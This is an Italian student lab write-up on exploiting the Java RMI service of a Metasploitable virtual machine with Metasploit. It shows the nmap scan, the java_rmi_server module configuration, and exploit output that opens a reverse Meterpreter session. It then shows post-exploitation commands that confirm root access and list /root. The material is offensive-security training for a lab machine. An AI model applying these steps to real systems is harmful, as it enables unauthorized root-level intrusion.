

PROGETTO VULNERABILITY JAVA RMI

TASK

Traccia:

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota: 1) configurazione di rete ; 2) informazioni sulla tabella di routing della macchina vittima

ANALISI E VALUTAZIONI

• STEP 1: Configurazione indirizzi IP

Configuriamo gli indirizzi IP della macchina attaccante (Kali) e della macchina target (Meta) con i seguenti indirizzi IP:

Kali →

```
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.11.111/24
gateway 192.168.11.103
```

Meta →

```
GNU nano 2.0.7      File: /etc/network/interfaces

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
network 192.168.11.0
broadcast 192.168.11.255
gateway 192.168.11.1
```

- **STEP 2: Test comunicazione tra le due macchine**

Facciamo una prova di ping tra le due macchine:

```
(kali@kali)~$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=1.16 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.621 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.574 ms
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=1.22 ms
64 bytes from 192.168.11.112: icmp_seq=5 ttl=64 time=0.650 ms
64 bytes from 192.168.11.112: icmp_seq=6 ttl=64 time=0.560 ms
^Z
zsh: suspended ping 192.168.11.112

msfadmin@metasploitable:~$ ping 192.168.11.111
PING 192.168.11.111 (192.168.11.111) 56(84) bytes of data.
64 bytes from 192.168.11.111: icmp_seq=1 ttl=64 time=0.658 ms
64 bytes from 192.168.11.111: icmp_seq=2 ttl=64 time=0.832 ms
64 bytes from 192.168.11.111: icmp_seq=3 ttl=64 time=0.778 ms
64 bytes from 192.168.11.111: icmp_seq=4 ttl=64 time=0.647 ms
64 bytes from 192.168.11.111: icmp_seq=5 ttl=64 time=0.934 ms
[1]+  Stopped                  ping 192.168.11.111
msfadmin@metasploitable:~$ _
```

- **STEP 3: scansione con nmap e ricerca della vulnerabilità**

Andiamo ora ad eseguire una scansione delle porte aperta sulla macchina target. Quindi apriamo un terminale ed eseguiamo il seguente comando:

nmap -sV 192.168.11.112

```
(kali@kali)~$ nmap -sV 192.168.11.112
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-09 04:14 EST
Nmap scan report for 192.168.11.112
Host is up (0.0047s latency).
Not shown: 978 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
513/tcp   open  login?
514/tcp   open  shell          Netkit rshd
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  open  bindshell      Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.68 seconds
```

La porta 1099 è la vulnerabilità che ci interessa attualmente ed è aperta. Avendo ottenuto le info di cui più abbiamo bisogno possiamo passare alla fase di exploit con msfconsole.

- **STEP 4: Apertura di msfconsole. Ricerca e configurazione exploit**

Innanzitutto avviamo `msfconsole` dal quale otterremo la seguente interfaccia con il comando ***msfconsole***

Ciascuno avrà un messaggio di benvenuto diverso.

[illegible]

Ottenuta la shell di metasploit possiamo andare a cercare l'exploit che più ci interessa per la vulnerabilità trovata. Ricordando che quest'ultima è un servizio "java_rmi" usiamo il comando:

search java rmi

```
msf6 > search java_rmi

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interfaces Enumeration
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
2	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
3	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example `info 3`, use 3 or use `exploit/multi/browser/java_rmi_connection_impl`

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options
```

Dopo averla trovata usiamo il comando per selezionarla:

use 1

1 perché l'exploit interessato è il numero 1. Avremo potuto inserire al posto del numero anche il path dell'exploit.

- **STEP 5: Info, options e configuration**

Per vedere se effettivamente è l'execution che a noi interessa usiamo il comando

Info

```
msf6 exploit(multi/misc/java_rmi_server) > info

Name: Java RMI Server Insecure Default Configuration Java Code Execution
Module: exploit/multi/misc/java_rmi_server
Platform: Java, Linux, OSX, Solaris, Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-10-15

Provided by:
mihi

Available targets:
Id  Name
--  --
0   Generic (Java Payload)
1   Windows x86 (Native Payload)
2   Linux x86 (Native Payload)
3   Mac OS X PPC (Native Payload)
4   Mac OS X x86 (Native Payload)

Check supported:
Yes

Basic options:
Name      Current Setting  Required  Description
--      -
HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
RHOSTS    192.168.11.112  yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     1099             yes       The target port (TCP)
SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080             yes       The local port to listen on.
SSL       false            no        Negotiate SSL for incoming connections
SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
URIPATH                   no        The URI to use for this exploit (default is random)

Payload information:
Avoid: 0 characters

Description:
This module takes advantage of the default configuration of the RMI
Registry and RMI Activation services, which allow loading classes
from any remote (HTTP) URL. As it invokes a method in the RMI
Distributed Garbage Collector which is available via every RMI
endpoint, it can be used against both rmiregistry and rmid, and
against most other (custom) RMI endpoints as well. Note that it does
not work against Java Management Extension (JMX) ports since those
do not support remote class loading, unless another RMI endpoint is
active in the same Java process. RMI method calls do not support or
require any sort of authentication.
```

Il risultato ottenuto è il seguente, dal quale il rettangolino rosso descrive l'exploit scelto.

Successivamente andiamo a vedere la configurazione dell'exploit con io comando:

show options

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
--      -
HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
RHOSTS    192.168.11.112  yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     1099             yes       The target port (TCP)
SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080             yes       The local port to listen on.
SSL       false            no        Negotiate SSL for incoming connections
SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
URIPATH                   no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
--  --
0   Generic (Java Payload)

msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
```

Come si può notare nella configurazione manca l'IP della macchina vittima nella sezione RHOSTS. Per impostarlo usiamo il comando:

set RHOSTS 192.168.11.112

Andiamo ad effettuare un ultimo controllo sempre con il comando ***show options*** per vedere se effettivamente è tutto pronto per l'attacco.

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                           |
|-----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                           |
| RHOSTS    | 192.168.11.112  | yes      | The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit                                          |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                 |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                          |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                   |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |


```

Un'altra particolarità è che l'exploit scelto ha già di default il suo payload come si può vedere da rettangolo rosso in figura. Pertanto possiamo procedere al prossimo step.

- **STEP 6: Fase d'attacco**

Per eseguire l'attacco alla macchina target usiamo il comando:

exploit o run

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/y8TCG8j
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:39389) at 2022-12-09 04:20:50 -0500

meterpreter > ifconfig
```

Una volta ottenuta la sessione andiamo ad eseguire vari comandi da remoto. Dapprima andiamo ad ottenere la configurazione di rete della macchina vittima utilizzando il comando:

ifconfig

```
meterpreter > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe7b:211d
IPv6 Netmask : ::
```

Successivamente andiamo ad ottenere informazioni sulla tabella di routing della macchina vittima, utilizzando il comando:

route

```
meterpreter > route

IPv4 network routes
=====

```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

```

=====
IPv6 network routes
=====

```

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fe7b:211d	::	::		

Possiamo sfruttare questo momento per ottenere informazioni aggiuntive sulla macchina target, come ad esempio il suo sistema operativo. Per farlo usiamo il comando:

sysinfo

```
meterpreter > sysinfo
Computer      : metasploitable
OS           : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
```

Un'altra azione che potremo fare è ad esempio vedere se siamo root ed abbiamo quindi i permessi per sfruttare file system importanti. La prima cosa da fare è aprire una shell da meterpreter dal quale andremo inserire comandi da remoto. Utilizziamo quindi il comando:

shell successivamente all'apertura digitiamo ***id***

```
meterpreter > shell
Process 1 created.
Channel 1 created.
id
uid=0(root) gid=0(root)
```

Come si può notare siamo root ed abbiamo tutti i permessi per eseguire azioni sulla macchina target.

Per un ulteriore test sui permessi ottenuti proviamo ad andare sulla directory root; se entrati, allora è verificato. Sempre da shell spostiamoci sulla cartella root con il comando:

cd root

Dopo di che verifichiamo se siamo dentro con:

pwd

E infine andiamo a vedere i file interni con:

ls

```
cd root
pwd
/root
ls
Desktop
reset_logs.sh
vnc.log
```

RISOLUZIONE DI PROBLEMATICHE:

Se doveste ricevere l'errore mostrato in figura sotto, modificate il parametro HTTPDELAY e configurate il valore a 20.

```
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://0.0.0.0:8080/wwFYvKVpD
[*] 192.168.11.112:1099 - Local IP: http://127.0.0.1:8080/wwFYvKVpD
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58053 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:1099) at 2022-07-29 08:59:20 -0400
[*] 192.168.11.112:1099 - Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request
[*] 192.168.11.112:1099 - Server stopped.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/java_rmi_server) > show options
```